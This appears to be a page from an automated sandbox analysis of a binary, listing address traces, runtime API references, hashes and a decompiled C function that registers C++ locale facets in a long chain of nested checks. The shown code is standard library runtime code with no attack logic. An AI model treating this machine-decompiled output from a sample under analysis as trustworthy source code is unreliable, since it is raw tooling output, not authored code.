0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465
0x0048c3e9
0x0048c3e9
0x0048c3ec
0x0048c3f0
0x0048c3f4
0x0048c401
0x0048c409
0x0048c40b
0x00000000
0x0048c40b
0x0048c3d2
0x0048c3d2
0x00000000
0x0048c3d2
0x0048c3d0
0x0048c354
0x0048c354
0x0048c357
0x0048c35b
0x0048c35f
0x0048c36c
0x0048c374
0x0048c376
0x00000000
0x0048c376
0x0048c33d
0x0048c33d
0x00000000
0x0048c33d
0x0048c33b

APIs

__EH_prolog3.LIBCMT ref: 0048C304
std::_Lockit::_Lockit.LIBCPMT ref: 0048C30E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0048C348
std::_Facet_Register.LIBCPMT ref: 0048C35F
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C37F
Concurrency::cancel_current_task.LIBCPMT ref: 0048C38C

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: 861243e1b40f4f5d8644a9a4d2485914ea0786fc84b9d1768308d0f4417d1a5b
Instruction ID: 5a85bc5e0a4dc8438c54092ff9485234fb8d1cfe33051ea2e634e47832a3e707
Opcode Fuzzy Hash: 861243e1b40f4f5d8644a9a4d2485914ea0786fc84b9d1768308d0f4417d1a5b
Instruction Fuzzy Hash: B001C431D005158BCB05FB65D8556BE7761AF54314F14481FE8106B382CF7C9D01CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C392, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C392(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v260;
				signed int _t273;
				void* _t509;
				short* _t733;
				void* _t800;
				void* _t801;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t810;
				signed int _t811;
				signed int _t812;
				signed int _t813;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				void* _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				signed int _t829;
				signed int _t830;
				signed int _t831;
				signed int _t832;
				signed int _t833;
				signed int _t834;
				signed int _t835;
				signed int _t836;
				signed int _t837;
				signed int _t838;
				signed int _t839;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				short* _t847;
				void* _t874;
				void* _t875;

				_push(8);
				E0049D90B(0x4d6966, _t801, _t824);
				E00488DEA( &_v20, 0);
				_t825 =  *0x4edddc; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t825;
				_t273 = E0042B315(_a8, E0042B22E(0x4edd88, _t801, _t825, _t875));
				_t802 = _t273;
				if(_t273 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t802);
				} else {
					if(_t825 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048DED3(_t800, _t802, _t825, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t802, _t825);
							E00488DEA( &_v20, 0);
							_t826 =  *0x4eddfc; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t826;
							_t803 = E0042B315(_a8, E0042B22E(0x4ed910, _t802, _t826, __eflags));
							__eflags = _t803;
							if(_t803 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t803);
							} else {
								__eflags = _t826;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048DF75(_t803, _t826, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t803, _t826);
										E00488DEA( &_v20, 0);
										_t827 =  *0x4ede10; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t827;
										_t804 = E0042B315(_a8, E0042B22E(0x4eddb4, _t803, _t827, __eflags));
										__eflags = _t804;
										if(_t804 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t804);
										} else {
											__eflags = _t827;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048DFE5(_t804, _t827, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t804, _t827);
													E00488DEA( &_v20, 0);
													_t828 =  *0x4edde0; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t828;
													_t805 = E0042B315(_a8, E0042B22E(0x4edd8c, _t804, _t828, __eflags));
													__eflags = _t805;
													if(_t805 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t805);
													} else {
														__eflags = _t828;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E04D(_t805, _t828, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t805, _t828);
																E00488DEA( &_v20, 0);
																_t829 =  *0x4ede14; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t829;
																_t806 = E0042B315(_a8, E0042B22E(0x4eddb8, _t805, _t829, __eflags));
																__eflags = _t806;
																if(_t806 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t806);
																} else {
																	__eflags = _t829;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E0B5(_t806, _t829, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t806, _t829);
																			E00488DEA( &_v20, 0);
																			_t830 =  *0x4edde4; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t830;
																			_t807 = E0042B315(_a8, E0042B22E(0x4edd90, _t806, _t830, __eflags));
																			__eflags = _t807;
																			if(_t807 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t807);
																			} else {
																				__eflags = _t830;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E11D(_t807, _t830, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t807, _t830);
																						E00488DEA( &_v20, 0);
																						_t831 =  *0x4ede18; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t831;
																						_t808 = E0042B315(_a8, E0042B22E(0x4eddbc, _t807, _t831, __eflags));
																						__eflags = _t808;
																						if(_t808 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t808);
																						} else {
																							__eflags = _t831;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E185(_t808, _t831, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t808, _t831);
																									E00488DEA( &_v20, 0);
																									_t832 =  *0x4edde8; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t832;
																									_t809 = E0042B315(_a8, E0042B22E(0x4edd94, _t808, _t832, __eflags));
																									__eflags = _t809;
																									if(_t809 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t809);
																									} else {
																										__eflags = _t832;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E1ED(_t809, _t832, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t809, _t832);
																												E00488DEA( &_v20, 0);
																												_t833 =  *0x4ede20; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t833;
																												_t810 = E0042B315(_a8, E0042B22E(0x4eddc4, _t809, _t833, __eflags));
																												__eflags = _t810;
																												if(_t810 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t810);
																												} else {
																													__eflags = _t833;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E255(_t810, _t833, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t810, _t833);
																															E00488DEA( &_v20, 0);
																															_t834 =  *0x4ede1c; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t834;
																															_t811 = E0042B315(_a8, E0042B22E(0x4eddc0, _t810, _t834, __eflags));
																															__eflags = _t811;
																															if(_t811 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t811);
																															} else {
																																__eflags = _t834;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E2D9(_t811, _t834, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t811, _t834);
																																		E00488DEA( &_v20, 0);
																																		_t835 =  *0x4eddf0; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t835;
																																		_t812 = E0042B315(_a8, E0042B22E(0x4edd9c, _t811, _t835, __eflags));
																																		__eflags = _t812;
																																		if(_t812 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t812);
																																		} else {
																																			__eflags = _t835;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E35E(_t812, _t835, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t812, _t835);
																																					E00488DEA( &_v20, 0);
																																					_t836 =  *0x4eddec; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t836;
																																					_t813 = E0042B315(_a8, E0042B22E(0x4edd98, _t812, _t836, __eflags));
																																					__eflags = _t813;
																																					if(_t813 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t813);
																																					} else {
																																						__eflags = _t836;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E3E2(_t813, _t836, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t813, _t836);
																																								E00488DEA( &_v20, 0);
																																								_t837 =  *0x4ede00; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t837;
																																								_t814 = E0042B315(_a8, E0042B22E(0x4edda4, _t813, _t837, __eflags));
																																								__eflags = _t814;
																																								if(_t814 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t814);
																																								} else {
																																									__eflags = _t837;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E467(_t814, _t837, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t814, _t837);
																																											E00488DEA( &_v20, 0);
																																											_t838 =  *0x4eddd0; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t838;
																																											_t815 = E0042B315(_a8, E0042B22E(0x4edd7c, _t814, _t838, __eflags));
																																											__eflags = _t815;
																																											if(_t815 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t815);
																																											} else {
																																												__eflags = _t838;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E4CF(_t815, _t838, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t815, _t838);
																																														E00488DEA( &_v20, 0);
																																														_t839 =  *0x4ede04; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t839;
																																														_t816 = E0042B315(_a8, E0042B22E(0x4edda8, _t815, _t839, __eflags));
																																														__eflags = _t816;
																																														if(_t816 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t816);
																																														} else {
																																															__eflags = _t839;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E537(_t816, _t839, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t816, _t839);
																																																	E00488DEA( &_v20, 0);
																																																	_t840 =  *0x4eddd4; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t840;
																																																	_t817 = E0042B315(_a8, E0042B22E(0x4edd80, _t816, _t840, __eflags));
																																																	__eflags = _t817;
																																																	if(_t817 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t817);
																																																	} else {
																																																		__eflags = _t840;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E59F(_t817, _t840, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				E0049D90B(0x4d6966, _t817, _t840);
																																																				E00488DEA( &_v20, 0);
																																																				_t841 =  *0x4ede08; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t841;
																																																				_t818 = E0042B315(_a8, E0042B22E(0x4eddac, _t817, _t841, __eflags));
																																																				__eflags = _t818;
																																																				if(_t818 != 0) {
																																																					L117:
																																																					E00488E42( &_v20);
																																																					return E0049D8D4(_t818);
																																																				} else {
																																																					__eflags = _t841;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E607(_t818, _t841, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							E0049D90B(0x4d6966, _t818, _t841);
																																																							E00488DEA( &_v20, 0);
																																																							_t842 =  *0x4eddd8; // 0x0
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t842;
																																																							_t819 = E0042B315(_a8, E0042B22E(0x4edd84, _t818, _t842, __eflags));
																																																							__eflags = _t819;
																																																							if(_t819 != 0) {
																																																								L124:
																																																								E00488E42( &_v20);
																																																								return E0049D8D4(_t819);
																																																							} else {
																																																								__eflags = _t842;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E682(_t819, _t842, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										E0049D90B(0x4d6966, _t819, _t842);
																																																										E00488DEA( &_v20, 0);
																																																										_t843 =  *0x4ede24; // 0x0
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t843;
																																																										_t820 = E0042B315(_a8, E0042B22E(0x4eddc8, _t819, _t843, __eflags));
																																																										__eflags = _t820;
																																																										if(_t820 != 0) {
																																																											L131:
																																																											E00488E42( &_v20);
																																																											return E0049D8D4(_t820);
																																																										} else {
																																																											__eflags = _t843;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E6FD(_t820, _t843, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													E0049D90B(0x4d6966, _t820, _t843);
																																																													E00488DEA( &_v20, 0);
																																																													_t844 =  *0x4eddf4; // 0x0
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t844;
																																																													_t821 = E0042B315(_a8, E0042B22E(0x4edda0, _t820, _t844, __eflags));
																																																													__eflags = _t821;
																																																													if(_t821 != 0) {
																																																														L138:
																																																														E00488E42( &_v20);
																																																														return E0049D8D4(_t821);
																																																													} else {
																																																														__eflags = _t844;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E0048E769(_t821, _t844, __eflags) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(8);
																																																																E0049D90B(0x4d6966, _t821, _t844);
																																																																E00488DEA( &_v20, 0);
																																																																_t845 =  *0x4ede28; // 0x0
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t845;
																																																																_t822 = E0042B315(_a8, E0042B22E(0x4eddcc, _t821, _t845, __eflags));
																																																																__eflags = _t822;
																																																																if(_t822 != 0) {
																																																																	L145:
																																																																	E00488E42( &_v20);
																																																																	return E0049D8D4(_t822);
																																																																} else {
																																																																	__eflags = _t845;
																																																																	if(__eflags == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		__eflags = E0048E7D5(_t822, _t845, __eflags) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E0042B042(__eflags);
																																																																			asm("int3");
																																																																			_push(8);
																																																																			E0049D90B(0x4d6966, _t822, _t845);
																																																																			E00488DEA( &_v20, 0);
																																																																			_t846 =  *0x4eddf8; // 0x0
																																																																			_v4 = _v4 & 0x00000000;
																																																																			_v16 = _t846;
																																																																			_t823 = E0042B315(_a8, E0042B22E(0x4edd78, _t822, _t846, __eflags));
																																																																			__eflags = _t823;
																																																																			if(_t823 != 0) {
																																																																				L152:
																																																																				E00488E42( &_v20);
																																																																				return E0049D8D4(_t823);
																																																																			} else {
																																																																				__eflags = _t846;
																																																																				if(__eflags == 0) {
																																																																					_push(_a8);
																																																																					_push( &_v16);
																																																																					_t509 = E0048E849(_t823, _t846, __eflags);
																																																																					_pop(_t733);
																																																																					__eflags = _t509 - 0xffffffff;
																																																																					if(__eflags == 0) {
																																																																						E0042B042(__eflags);
																																																																						asm("int3");
																																																																						_push(_t846);
																																																																						_t847 = _t733;
																																																																						_t266 = _t847 + 0x10;
																																																																						 *_t266 =  *(_t847 + 0x10) & 0x00000000;
																																																																						__eflags =  *_t266;
																																																																						 *((intOrPtr*)(_t847 + 0x14)) = 7;
																																																																						 *_t847 = 0;
																																																																						E00494BE0( *((intOrPtr*)(_t874 + 8)));
																																																																						return _t847;
																																																																					} else {
																																																																						_t823 = _v16;
																																																																						_v16 = _t823;
																																																																						_v4 = 1;
																																																																						E0048919D(_t823);
																																																																						 *0x4f02b4();
																																																																						 *((intOrPtr*)( *((intOrPtr*)( *_t823 + 4))))();
																																																																						 *0x4eddf8 = _t823;
																																																																						goto L152;
																																																																					}
																																																																				} else {
																																																																					_t823 = _t846;
																																																																					goto L152;
																																																																				}
																																																																			}
																																																																		} else {
																																																																			_t822 = _v16;
																																																																			_v16 = _t822;
																																																																			_v4 = 1;
																																																																			E0048919D(_t822);
																																																																			 *0x4f02b4();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t822 + 4))))();
																																																																			 *0x4ede28 = _t822;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t822 = _t845;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t821 = _v16;
																																																																_v16 = _t821;
																																																																_v4 = 1;
																																																																E0048919D(_t821);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t821 + 4))))();
																																																																 *0x4eddf4 = _t821;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t821 = _t844;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t820 = _v16;
																																																													_v16 = _t820;
																																																													_v4 = 1;
																																																													E0048919D(_t820);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t820 + 4))))();
																																																													 *0x4ede24 = _t820;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t820 = _t843;
